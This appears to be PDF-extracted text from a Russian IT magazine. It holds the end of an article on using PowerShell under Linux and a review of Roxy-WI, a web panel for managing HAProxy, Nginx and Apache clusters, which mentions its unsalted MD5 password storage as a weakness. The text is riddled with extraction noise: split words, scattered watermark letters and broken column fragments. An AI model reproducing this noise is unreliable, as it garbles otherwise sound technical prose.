В .NET Core/.NET 5 реализова­ ­на не вся функци­ ­ональ­ность платформы­ .NET Framework, поэтому­ в PowerShell 6/7 по умолчанию­ загружа­ ­ется меньше­ модулей и будет доступно­ меньше­ команд, чем в Windows PowerShell. Нап ­

ример, под Linux недоступны­ команды­ *-Service, *-Acl, *-Event, SetExecutionPolicy.

Часть из отсутству­ ­ющих модулей напрямую­ связаны­ с особен­ ­ностя­ми опе ­ рационной­ системы­ Windows и не могут быть перенесены­ на другие­ плат ­ формы (так, в PowerShell для Linux отсутству­ ­ют провай­ ­деры и виртуаль­ ­ные диски­ для системно­ ­го реестра­ и хранили­ ­ща сертифика­ ­тов), некоторые­ модули могут быть добавлены­ в следующих­ версиях­ PowerShell.

При работе с PowerShell в Linux необходимо­ учитывать­ особен­ ности­ опе ­ рационной­ системы­ .

Зависи­ ­мость от регистра­ символов­ . Сама оболоч­ ­ка PowerShell, как и операци­ ­онная система­ Windows, не зависит от регистра­ символов­ . Нап ­ ример, имена­ $a и $A обознача­ ­ют одну и ту же переменную­ , название­ командле­ ­тов можно­ писать в любом регистре­ (Get-Process, getprocess или GET-PROCESS), в путях к файлам­ и каталогам­ в Windows тоже можно­ использовать­ символы­ в разных­ регистрах­ (C:\Windows, c:\windows или C:\WINDOWS). Напротив­ , в Linux важен регистр сим ­ волов в путях к каталогам­ и файлам­ или в именах­ переменных­ среды­ . Поэтому­ для запуска­ сценари­ ­ев, загрузки­ модулей и коррек­ ­тной работы

автодопол­ ­нения файловых­ путей в этих системах­ нужно­ писать точные­ имена­ с учетом­ регистра­ символов­ . Названия­ самих командле­ ­тов

и переменных­ PowerShell по прежнему­ от регистра­ не зависят.

Разделите­ ­ли в путях файловой­ системы­ . В Windows в качестве­ раз ­

делителей­ в путях к файлам­ и каталогам­ можно­ использовать­ символы­ слеша­ / и обратного­ слеша­ \. В Linux использует­ ­ся только­ символ­ слеша­ /.

Запуск­ команд от имени­ суперполь­ ­зовате­ля (sudo). Для выпол ­

нения какой либо одной команды­ с привиле­ ­гиями суперполь­ ­зовате­ля root в оболоч­ ­ке Linux использует­ ­ся команда­ sudo. В сеансе­ работы PowerShell напрямую­ применить­ sudo не получится­ , нужно­ с ее помощью запустить­ новый экземпляр­ оболоч­ ­ки, и все команды­ PowerShell будут выполнять­ ­ся от имени­ суперполь­ ­зовате­ля.

Справочная система

При работе с интерак­ ­тивной командной­ оболоч­ ­кой важно­ иметь под рукой подробную­ и удобную­ справоч­ ­ную систему­ с описани­ ­ем возможнос­ ­тей команд и примера­ ­ми их примене­ ­ния. В PowerShell такая система­ имеется­ , в Linux она работает­ так же, как в Windows, с помощью команды­ Get-Help.

Справоч­ ная­ система­

Подробная­ справоч­ ная­ информация­ о командах­ PowerShell (описания­ каж ­ дого из параметров­ команды­ , замечания­ и примеры­ запуска­ команды­ с раз ­ личными­ параметрами­ и аргумен­ тами­ ) хранит­ ся­ в интернете­ на сайтах­ Microsoft. С помощью команды­ Update-Help можно­ загрузить­ справоч­ ные­ файлы­ на свою машину, чтобы­ обращать­ ся­ к ним быстрее­ :

Update-Help -Force -UICulture en-US

Отметим­ , что командлет­ Get-Help позволя­ ет­ просматри­ вать­ справоч­ ную­ информацию­ не только­ о разных­ командах­ , но и о синтакси­ се­ языка­ PowerShell, о псевдонимах­ , функци­ ях­ , скриптах­ и других­ аспектах работы обо ­ лочки­ . Список­ тем, обсуждение­ которых представ­ лено­ в справоч­ ной­ службе­ PowerShell, можно­ увидеть­ с помощью команды­ Get-Help about_*.

Вывод­ команды­ Get-Help about_

Работа в командной строке

При запуске­ PowerShell автомати­ ­чес­ки загружа­ ­ется модуль PSReadLine, обеспечива­ ­ющий удобную­ интерак­ ­тивную работу в командной­ строке­ .

Названия­ командле­ тов­ , параметров­ и переменных­ , ключевые­ конструк­ ции­

и другие­ элемен­ ты­ языка­ PowerShell при вводе­ в командную­ строку­ отобража­ ­ ются разными­ цветами­ . Если при наборе команды­ получается­ синтакси­ чес­ ки­ неверная­ конструк­ ция­ (например­ , мы забыли поставить­ закрыва­ ющую­ скобку­ или не написали­ команду­ после­ знака­ конвей­ ера­ ), то последний­ знак > в приглашении­ командной­ строки­ становит­ ся­ красным­ .

Мы где то ошиблись­

В PowerShell поддержи­ ­вает­ся автомати­ ­чес­кое завершение­ имен команд, их параметров­ и путей к файлам­ и каталогам­ . Для этого­ использует­ ­ся клавиша­ Tab. Например­ , если набрать­ символы­ get-p и нажать Tab, то в командной­ строке­ появится­ команда­ Get-Process.

Если­ для завершения­ возможны­ несколь­ ­ко вариантов­ , то они будут выведены­ все, а ввод команды­ продол­ ­жится. Таким образом­ , при вводе­ команды­ можно­ узнать все ее возможные­ параметры­ , даже не обращаясь­

к справоч­ ной­ системе­ (в стандар­ тных­ оболоч­ ках­ Linux такой возможнос­ ти­ нет).

Просмотр­ параметров­ при вводе­ команды­

Если­ ты помнишь­ только­ часть команды­ (необязатель­ ­но сначала­ ), то по ней можно­ найти­ подходящие­ варианты­ среди­ тех команд, которые выполнялись­ в оболоч­ ­ке раньше­ . По умолчанию­ интерак­ ­тивный поиск в таком режиме акти ­

вируется­ нажатием­ клавиш­ Ctrl + r (поиск по истории­ команд назад) или Ctrl + s (поиск по истории­ команд вперед­ ).

Поиск­ по истории­ команд

При наборе команды­ PowerShell может cразу­ выдавать подходящий­ вариант­ из списка­ вводив­ шихся­ команд, который можно­ принять­ одним нажатием­ стрелки­ вправо­ . Активиру­ ется­ этот режим следующей­ командой­ : Set-

PSReadLineOption -PredictionSource 'History'.

Включение­ режима автозавер­ шения­ ввода­ команд

Текущие­ сочетания­ клавиш­ , назначен­ ­ные в PSReadLine для выполнения­ дей ­ ствий, можно­ посмотреть­ с помощью команды­ Get-PSReadlineKeyHandler.

Просмотр­ текущего­ списка­ горячих клавиш­

Изменить­ сочетания­ клавиш­ позволя­ ет­ команда­ Set-PSReadlineKeyHandler. Например­ , назначим­ клавишам­ со стрелками­ вверх и вниз функции­ HistorySearchBackward (поиск назад по истории­ команд) и HistorySearchForward (поиск вперед­ по истории­ команд) соответс­ твен­ но­ .

Переназ­ ­начение горячих клавиш­

Теперь­ можно­ будет подстав­ лять­ в командную­ строку­ команды­ из истории­ , набрав­ в командной­ строке­ их начальные­ символы­ и нажимая стрелку­ вверх или вниз.

Чтобы­ не набирать при каждом­ запуске­ PowerShell команды­ для настрой­ ки­ PSReadLine, их нужно­ поместить­ в свой профиль­ — это скрипт, который авто ­ матичес­ ки­ выполняет­ ся­ при каждом­ запуске­ PowerShell. Путь к профилю­ хра ­ нится­ в переменной­ $PROFILE.

Скрипт $PROFILE

ВЫВОДЫ

 

 

 

 

 

 

 

 

 

 

Оболоч­ ка­

PowerShell вполне­ пригод­ на­

для

комфор­ тно­ го­ использования­

в Linux, особен­ но­ если ты уже работал с ней в Windows, привык­ к объектной­

природе­

этой оболоч­ ки­ , оценил­

ее возможнос­

ти­ и особен­ ности­

. В состав­

PowerShell

входит­

множес­ тво­

стандар­

тных­

командле­ тов­ , в том числе­

для работы с файловой­

системой­

, структуриро­

ван­ ными­

данными­

(в форматах­

CSV и JSON) и веб ресурсами­ по протоко­ лу­ HTTP.

Кроме­ внутренних­ командле­ тов­ , в оболоч­ ке­ можно­ выполнять­ любые кон ­ сольные­ утилиты­ , установ­ ленные­ в операци­ онной­ системе­ . Поэтому­ получит ­ ся комбиниро­ вать­ возможнос­ ти­ команд Linux с собствен­ ными­ механизмами­ PowerShell (конвей­ ерная­ обработ­ ка­ объектов­ , гибкая­ система­ форматиро­ ­ вания выводимой­ информации­ , обработ­ ка­ возника­ ющих­ ошибок­ ), а также­ пользовать­ ся­ всей функци­ ональ­ ностью­ библиотек­ платформы­ .NET Core /

.NET 5 (например­

,

для

обработ­

ки­

символь­

ной­

информации­

или работы

с датами и временем­

).

 

 

 

 

 

 

 

 

 

Отдель­

ного­

внимания­

заслужива­

ют­ скрипты­ PowerShell. Для автомати­

­

зации работы в Linux необязатель­

но­ углубляться­ в дебри­ Bash-скриптинга­

или отказывать­

ся­

от удобств и

простоты­

командно­ го­ языка­

, полностью­

переходя­ на Python. Если ты уже писал скрипты­ PowerShell в Windows, то и в Linux сможешь­ пользовать­ ­ся своими­ наработками­ и создавать­ новые решения.

Особых­ отличий­ в скриптах­ PowerShell для разных­ платформ­ нет, однако­ интегрирован­ ная­ среда­ для разработ­ ки­ PowerShell ISE доступна­ только­ в PowerShell для Windows, в состав­ PowerShell 6/7 она не входит­ . Для раз ­

работки­ скриптов­ в Linux Microsoft рекомендует­ использовать­ редактор­ Visual Studio Code с расширени­ ем­ для поддер­ жки­ языка­ PowerShell.

В статье мы коснулись­ возможнос­ ­тей оболоч­ ­ки и скриптов­ PowerShell очень кратко­ . Более под ­ робно эти вопросы­ рассмат­ ­рива­ются в моей кни ­ ге «Современ­ ­ный PowerShell», вышедшей­ в мар ­ те 2022 года.

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

АДМИН

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

УДОБНЫЙ ИНТЕРФЕЙС ДЛЯ

HAPROXY, NGINX, APACHE И

KEEPALIVED

Даниил Батурин

Координатор проекта VyOS (https://vyos.io), «языковед»,

функциональщик, иногда сетевой администратор daniil@baturin.org

Apache HTTPD и Nginx — самые популярные­ серверы­ HTTP,

а HAProxy — один из самых востре­ ­бован­ных балансиров­ ­ щиков нагрузки­ . Они прекрасно­ справляют­ ­ся со своими­ задачами­ , и множес­ ­тво админов­ умеют­ с ними работать. Однако­ настро­ ­ить сервер­ мало — его еще нужно­ поддержи­ ­ вать, мониторить­ и масшта­ ­биро­вать. Даже в пределах­ одно ­ го сервера­ это может быстро­ превратить­ ­ся в утомитель­ ­ное занятие. Тем более если управлять нужно­ кластером­ .

Решений­ для одного­ сервера­ достаточ­ ­но много­ — «панели управления­ хос ­ тингом» существу­ ­ют на любой вкус, и свобод­ ­ные, и проприетар­ ­ные. Но одно ­ го сервера­ многим­ современ­ ­ным проектам­ уже не хватит­ . Чтобы­ справить­ ­ся с нагрузкой­ и обеспечить­ отказоус­ ­той­чивость, нужен кластер­ .

Радикаль­ ­ное решение для автомати­ ­зации управления­ кластером­ — под ­ ход infrastructure as code. Для самых крупных­ проектов­ это решение, веро ­ ятно, единствен­ ­но возможное­ . Есть ли альтер­ ­нативы для тех, кому уже нужна­ автомати­ ­зация работы более чем с одним сервером­ ? Проект­ Roxy-WI стре ­ мится­ создать­ такую альтер­ ­нативу. Давай посмотрим­ , насколь­ ­ко ему это уда ется.

ROXY-WI

Проект­ Roxy-WI стартовал­ в самом начале 2018 года. Он назывался­ HAProxyWI (HAProxy Web Interface), но позже­ сменил­ имя, посколь­ ку­ его возможнос­ ти­ уже не ограничи­ вались­ автомати­ заци­ ей­ настрой­ ки­ HAProxy.

Исходный­ код проекта­ распростра­ ­няет­ся по лицензии­ Apache 2.0, и его можно­ найти­ на GitHub.

Для финансирова­ ния­ разработ­ ки­ авторы­ Roxy-WI предос­ тавля­ ют­ платный­ доступ­ к репозитори­ ям­ с собранны­ ми­ пакетами­ , техничес­ кую­ поддер­ жку­ и дополнитель­ ные­ сервисы­ , например­ автомати­ чес­ кое­ резервное­ копиро ­ вание настро­ ек­ .

УСТАНОВКА И ОБНОВЛЕНИЕ

Любой­ желающий­ может установить­ Roxy-WI из исходников­ , для этого­ дос ­ таточно­ клониро­ ­вать репозиторий­ c GitHub и следовать­ инструк­ ­циям.

Авторы­ Roxy-WI предос­ тавили­ нам пробный­ доступ­ к репозитори­ ям­ , поэтому­ возиться­ с ручной­ установ­ кой­ не пришлось­ . Установ­ ка­ из RPM на Rocky Linux 8 (идейном­ наследни­ ке­ CentOS) не составля­ ет­ большого­ тру ­ да.

Альтер­ натив­ ный­ вариант­ — разверты­ вание­ на Amazon EC2 из официаль­ ­ ного образа­ . Образ устроен­ по принципу­ bring your own license — поль ­ зователь платит­ за ресурсы­ EC2, но не за использование­ ПО. В настоящий­ момент в этом образе­ установ­ лена­ версия­ 5.2.0, в то время­ как самая све ­

жая — 6.0.1.

В интерфейсе­ Roxy-WI есть опция провер­ ки­ и установ­ ки­ обновлений­ , но нет опций настрой­ ки­ имени­ пользовате­ ля­ и пароля для доступа­ к репози ­ торию, так что настра­ ивать­ их придет­ ся­ вручную­ , в /etc/yum.repos.d или в /

etc/apt/auth.conf.d.

ВНУТРЕННЯЯ СТРУКТУРА

Проект­ Roxy-WI написан на Python 3, так что прекращение­ поддер­ ­жки Python 2.7 его никак не затронуло­ .

Код и данные­ устанав­ лива­ ются­ в каталог /var/www/haproxy-wi/app/ — в невидимых­ для пользовате­ ля­ частях­ еще сохранилось­ старое­ имя проекта­ .

Собствен­ ­ного сервиса­ у интерфейса­ Roxy-WI нет, он полагается­

на Apache HTTPD и генерирует­ конфиг­ в /etc/httpd/conf.d/roxy-wi.conf.

Веб приложе­ ­ние организо­ ­вано весьма­ необычным­ для нашего времени­ спо ­ собом — в виде набора скриптов­ CGI. С одной стороны­ , процесс­ Roxy-WI не может упасть, потому что каждый­ скрипт выполняет­ ­ся веб сервером­ отдельно­ . С другой­ — все недостатки­ CGI остаются­ в силе: на запуск скрип ­ тов нужно­ время­ , и это отрицатель­ ­но сказыва­ ­ется на отзывчивос­ ­ти интерфей ­ са.

Для хранения­ данных­ Roxy-WI по умолчанию­ использует­ SQLite. Данные­

о пользовате­ ­лях, серверах­ и прочих­ сущностях­ хранят­ ­ся в файле­ /var/www/ haproxy-wi/app/roxy-wi.db. Вообще­ , все данные­ Roxy-WI хранит­ в катало ­ ге приложе­ ­ния: закрытые­ ключи­ для SSH в /var/www/haproxy-wi/keys/, кон ­

фиги серверов­ в /var/www/haproxy-wi/configs/ и так далее.

Публичный­ доступ­ к этим каталогам­ запрещен­ только­ директивами­ Deny from all в настрой­ ­ках Apache HTTPD, поэтому­ с настрой­ ­ками и путями нужно­ быть вниматель­ ­ным, если вдруг захочется­ их поменять.

Допус­ кать­ утечку­ файла­ roxy-wi.db категоричес­ ки­ нельзя­ , посколь­ ку­ пароли пользовате­ лей­ в нем хранят­ ся­ в виде хешей MD5 без использования­

соли и уязвимы­ даже к простей­ ­шей атаке­ по радужным­ таблицам­ .

С другой­ стороны­ , для резервно­ го­ копирования­ или переноса­ установ­ ки­ Roxy-WI на другой­ сервер­ достаточ­ но­ заархивиро­ вать­ каталог /var/www/ haproxy-wi, что проще­ , чем если бы данные­ были разбро­ саны­ по множес­ тву­ каталогов­ . Но идеаль­ ным­ вариантом­ все равно­ представ­ ляет­ ся­ отдельный­ каталог с данными­ , вроде­ /var/lib/roxy-wi, — хочется­ верить, что будущие версии­ пойдут­ именно­ этим путем.

Кроме­ SQLite, есть поддер­ ­жка MySQL. Перейти­ с SQLite на MySQL можно­ после­ установ­ ­ки. В веб интерфейсе­ опций для этой цели нет, придет­ ­ся пра ­

вить файл настро­ ек­ /var/www/haproxy-wi/app/roxy-wi.cfg и инициали­ ­

зировать­ базу, запустив­ скрипт.

ВЕБ-ИНТЕРФЕЙС

В интерфейсе­ Roxy-WI можно­ найти­ ряд отличных идей. Например­ , если какой то раздел­ настро­ ­ек пуст, то пользовате­ ­лю показывают­ не просто­ пус ­ тую страницу­ , а страницу­ с видеоинс­ ­трук­цией о том, как использовать­ этот раздел­ .

Пустая­ страница­ с видеоинс­ трук­ цией­

С другой­ стороны­ , в интерфейсе­ пока что много­ шероховатос­ тей­ . К примеру­ , поля для ввода­ адресов­ IP или доменных­ имен выдают­ неспецифич­ ную­ ошиб ­ ку, если до или после­ адреса­ оказал­ ся­ пробел­ . Поле для ввода­ часового­ пояса требует­ от пользовате­ ля­ строку­ для tzdata вроде­ Europe/Moscow — ни выпадающе­ го­ списка­ , ни автодопол­ нения­ . Ряд полей, например­ ldap_enable, требуют­ от пользовате­ ля­ ввести­ 0 (disable) или 1 (enable), хотя гораздо­ логичнее­ был бы чекбокс­ . Иными­ словами­ , пользовать­ ся­ можно­ , но простор­ для мелких­ улучшений­ большой­ .

ВОЗМОЖНОСТИ

Теперь­ давай глянем­ на собствен­ но­ возможнос­ ти­ работы с серверами­ . Заяв ­ ленный список­ весьма­ внушите­ лен­ : Roxy-WI в той или иной степени­ способен­ управлять настрой­ ками­ и HAProxy, и Apache HTTPD, и Nginx.

Мы в деталях рассмот­ ­рим базовую функци­ ­ональ­ность, насколь­ ­ко позволя­ ­ ет объем­ статьи. Перед тем как что либо настра­ ­ивать, нужно­ расска­ ­зать Roxy-WI о серверах­ нашего кластера­ .

Взаимодействие с серверами

 

 

 

 

 

 

 

 

 

Взаимо­ дей­ ствие­

 

с серверами­

происхо­

дит­ по SSH. Перед тем как добавлять­

серверы­

, нужно­ загрузить­

закрытые­

ключи­ для подклю­ чения­

к ним. Диалог

добавления­

пользовате­

ля­

 

 

и

ключа­

использует­

не слишком­

интуитив­

ную­

и стандар­ тную­

 

терминоло­

гию­ : поле name — это имя набора данных­

для аутентифика­

ции­

(закрытого­

ключа­ и имени­ пользовате­

ля­ ), а поле

credential — имя пользовате­

ля­ , с которым Roxy-WI будет подклю­ чать­ ся­ к сер ­

веру. Загрузить­

сам ключ можно­ только­ после­ создания­

записи для него.

Добавление­

ключей­ , конечно­ , не частая­ операция­

, но интерфейс опять же

можно­ улучшить­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Диалог­ добавления­ данных­ доступа­

Диалог­ загрузки­ ключа­

Добав­ ление­ серверов­ не представ­ ляет­ никакой сложности­ . Разве­ что может понадобить­ ся­ обновить­ страницу­ вручную­ , чтобы­ увидеть­ добавленный­ сер ­ вер.

Диалог­ добавления­ данных­ доступа­

Порадо­ ­вала возможность­ сразу­ проверить­ подклю­ ­чение по SSH: чтобы­ убе ­ диться­ , что имя пользовате­ ­ля и ключ верные­ , достаточ­ ­но нажать кнопку­ Check

рядом с полем Credentials.

Запись­ в списке­ серверов­

Установить­ HAProxy на свежий­ сервер­ Roxy-WI может автомати­ ­чес­ки, что сильно­ экономит­ время­ админу­ .

Автомати­ ­чес­кая установ­ ­ка Apache HTTPD в текущей версии­ не поддержи­ ­ вается­ — вероятно­ , она появится­ в будущих версиях­ . C Nginx у меня тоже воз ­ никла проблема­ — на Ubuntu 22 LTS он не установил­ ­ся — ни с «Докером», ни без.

Ошибка­ установ­ ки­

Но добавление­ серверов­ , конечно­ , всего­ лишь вспомога­ тель­ ная­ функция­ . Настоящие­ преиму­ щес­ тва­ Roxy-WI видны­ в его подходе­ к работе с кон ­ фигами.

Работа с конфигами

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Наибо­ лее­ развито­

управление­

именно­ HAProxy, посколь­

ку­ изначаль­

но­ проект­

концен­ три­ ровал­

ся­ на нем. Функции­

 

для работы с Nginx и Apache HTTPD

активно развива­

ются­

и пока уступают­

интерфейсу­ для HAProxy. Тем не менее

сама концепция­

 

управления­ конфигами­

явно показывает­

преиму­ щес­ тва­ спе ­

циализации­

 

и в итоге­ вполне­ сможет­ составить­

конкурен­

цию­

решениям­ в духе

infrastructure as code.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Конфиги­

 

 

HAProxy можно­ проверить­

на правиль­

ность­

перед отправкой­

на сервер­ . Понятно­ , что это обертка­ для haproxy

-c, но экономия­

времени­

очевид­ на­ . Та же функция­

должна­

работать на Nginx (и быть аналогом­

 

nginx -

t), но у меня Roxy-WI пропус­ тил­ конфиг­

с ошибками­

синтакси­

са­ .

 

 

 

 

 

 

 

 

 

Редак­ тирова­

ние­

конфигов­

весьма­ продуман­

но­ . Веб редактор­ , конечно­ ,

никогда­ не сравнится­

с Vim, Emacs или VSCode в деле редактирова­

ния­

тек ­

ста, но редактор­

 

Roxy-WI компенси­

рует­

это специали­

заци­

ей­ . К примеру­

,

в режиме просмотра­

можно­ показать или свернуть­

только­ определен­

ные­

сек ­

ции конфига­

, а в режиме редактирова­

ния­ работает­ подсвет­

ка­

синтакси­

са­ .

 

Важная­

возможность­

автомати­

чес­ кая­ репликация­

 

конфигов­

на резер ­

вный сервер­

и версиони­

рова­

ние­ . В рамках­ подхода­

infrastructure as code

мы бы хранили­

 

конфиги­

 

или

 

исходный материал­

для

 

их

 

создания­

в Git

и занимались­

бы контро­ лем­

версий­

сами. Roxy-WI делает­ это за нас: каждая­

редакция­

конфига­

сохраня­

ется­

внутри­ Roxy-WI и доступна­

для отката­ , прос ­

мотра и сравнения­

с другими­

редакциями­

. Хотя Roxy-WI не использует­

сис ­

тему контро­ ля­ версий­

и хранит­ архивные конфиги­

в обычных­ файлах­ , он спо ­

собен показывать­

различия­

между­ версиями­

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Примене­

ние­

 

 

системы­

 

контро­ ля­ версий­

сэкономило­

 

бы место­ на диске­

и упростило­ бы поддер­ жку­

 

описаний­

изменений­

— хочется­ увидеть­

это в

будущих версиях­

. В текущей версии­

поддержи­

вает­

ся­ только­ периоди­ чес­ кое­

резервное­

 

копирование­

в удален­ ный­

репозиторий­

Git и только­ в версии­

Enterprise.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Кроме­ того, именно­ для HAProxy в Roxy-WI есть широкий набор генера ­ торов секций­ конфига­ .

 

 

 

 

 

Генера­

торы­

конфигов­

HAProxy

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Отдель­

но­

приятно­

то, что перед отправкой­

сгенери­

рован­

ного­

конфига­

на сервер­

можно­ просмотреть­

его текст, — это выгодно­ отличает­

Roxy-WI

от проектов­

, где процесс­

для пользовате­

ля­ непрозра­

чен­ .

 

 

 

ДОПОЛНИТЕЛЬНЫЕ СЕРВИСЫ И ИНТЕГРАЦИИ

Тем пользовате­ ­лям, которые поддержи­ ­вают проект­ финансово­ , доступны­

не только­ собранные­ пакеты с самим Roxy-WI, но и ряд дополнитель­ ных­ сер ­ висов. Я уже упоминал­ сервис­ резервно­ го­ копирования­ конфигов­ , но им все не ограничи­ вает­ ся­ . Другой­ полезный­ сервис­ — Roxy-WI Checker, который помогает­ мониторить­ серверы­ и рассылать­ уведом­ ления­ об инциден­ тах­ . Разумеется­ , мониторинг­ и уведом­ ление­ можно­ настро­ ить­ и самому, благо­ инстру­ мен­ тов­ для этих целей огромное количество­ . Преиму­ щес­ тво­ Roxy-WI Checker — в интеграции­ с самим Roxy-WI. Ему автомати­ чес­ ки­ становит­ ся­ известно­ о серверах­ кластера­ и их сервисах­ , так что добавление­ серверов­ в мониторинг­ перестает­ быть отдельной­ задачей. Сервис­ может автомати­ ­

чески­ отправлять­ уведом­ ­ление в каналы Slack или Telegram, достаточ­ ­но ука ­ зать токен для их API. Кроме­ того, уведом­ ­ления о серверах­ из разных­ групп можно­ отправлять­ в разные­ каналы, что полезно­ организа­ ­циям с выделен ­ ными командами­ админов­ для разных­ частей­ проекта­ .

ПЛАНЫ НА БУДУЩЕЕ

Проект­ Roxy-WI не стоит­ на месте­ и постоян­ ­но развива­ ­ется. Авторы­ планиру­ ­ ют в будущих версиях­ добавить новые возможнос­ ­ти настрой­ ­ки отказоус­ ­той ­

чивости­ с помощью Keepalived, поддер­ жку­ WAF (Web Application Firewall)

для Nginx, а также­ существен­ ­но улучшить­ работу с Apache HTTPD (например­ , поддер­ ­жку сбора­ статис­ ­тики и резервно­ ­го копирования­ конфигов­ ). Обещают­ исправить­ и недостатки­ интерфейса­ и в целом собираются­ его улучшить­ .

ЗАКЛЮЧЕНИЕ

Roxy-WI, безусловно­ , многообе­ ­щающий проект­ . Задача настрой­ ­ки и управле ­ ния кластерами­ веб серверов­ — сложная­ и актуаль­ ­ная, и удачное­ решение для ее автомати­ ­зации может сэкономить­ админам­ много­ времени­ и уберечь­

их от ошибок­ . На данный­ момент Roxy-WI хорошо справляет­ ся­ с автомати­ ­ зацией­ настрой­ ки­ HAProxy и движет­ ся­ в сторону­ полного­ решения для управления­ всеми­ компонен­ тами­ кластера­ .

Тем не менее Roxy-WI — помощник­ админа­ кластера­ , а не альтер­ ­натива ему. Никакой инстру­ ­мент не заменит собствен­ ­ные знания­ и опыт!

Соседние файлы в папке журнал хакер